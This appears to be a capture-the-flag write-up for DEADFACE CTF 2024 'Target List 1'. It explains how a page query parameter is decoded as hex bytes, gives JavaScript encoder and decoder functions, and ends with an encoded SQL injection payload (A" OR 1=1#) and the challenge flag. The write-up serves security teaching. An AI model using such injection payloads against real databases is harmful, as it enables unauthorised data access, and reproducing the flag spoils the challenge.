← Back to home

DEADFACE CTF 2024 — Target List 1

Deadface is running a server where they have a list of targets they are planning on using in an upcoming attack. See if you can find any targets they are trying to hide.

http://targetlist.deadface.io:3001

We're given a simple website that looks like this:

image

On each "page", we can find records that begin with "A", "B", and "C":

image

image

image

At first, it looks like we get to query users that start with

Code (js):

1String.fromCharCode(64 + page)

where page is the integer query parameter passed to the page.

If we manually edit the &page= query parameter to go to page 4, it looks like we can query users beginning with "D" as expected.

image

Similarly, we can query users with "I" on page 9, but somehow the query changes to "II" on page 99, "IÙ" on page 999, and "IÙI" on page 9999:

image

image

image

image

so it looks like our input gets grouped into pairs when parsed. Furthermore, if we go to page f, we end up querying users starting with "O"; 'A' + 15.

image

With this, we get a pretty clear picture of how our query parameter is parsed: a 0 is appended to the input, then the page number is interpreted as hex bytes (where 64 is added to each byte so 1 maps to "A"). Then, we can guess our input is handled something like so:

Code (js):

1function conv(s) {
2    const chars = ('0' + s).split('');
3    let ret = '';
4
5    for (let i = 0; i < chars.length; i += 2) {
6        let byte = chars[i];
7        if (i + 1 < chars.length) byte += chars[i + 1];
8
9        let num = 64 + parseInt(byte, 16);
10        ret += String.fromCharCode(num);
11    }
12
13    return ret;
14}

image

But then, when we go to page 162,

image

image

Why would the cent character cause things to fail? If we go to page 163, something's not right; we get "#" instead of "£" as expected:

image

image

Then, there must be a narrow range of characters where our bytes are subtracted by 128 allowing us to get a wider range of characters. To simplify things, we can assume this range applies to everything above 128 (not true for page 999 seen earlier, but the discrepancy is ultimately unimportant to solve the challenge):

Code (js):

1function conv(s) {
2    const rest = ('0' + s).split('');
3    let ret = '';
4
5    for (let i = 0; i < rest.length; i += 2) {
6        let group = rest[i];
7        if (i + 1 < rest.length) group += rest[i + 1];
8
9        let num = 64 + parseInt(group, 16);
10        if (num > 128) num -= 128;
11        ret += String.fromCharCode(num);
12    }
13
14    return ret;
15}

image

So our input was actually failing on double quotes... could that imply it was being passed to a database as an SQL query? Based on the updated conv() function, we can write a simple deconv() function to reverse desired strings to query param bytes:

Code (js):

1function deconv(s) {
2    let ret = '1';
3    for (const c of s) {
4        let diff = c.charCodeAt(0) - 64;
5        if (diff < 0) diff += 128;
6
7        let str = diff.toString(16);
8        if (str.length < 2) str = '0' + str;
9        ret += str;
10    }
11    return ret;
12}

Then, we can run

image

to encode

Code:

1A" OR 1=1#

list the entire table, and get the flag:

image

Code:

1flag{SQL-1nj3ct10n-thrU-x0r}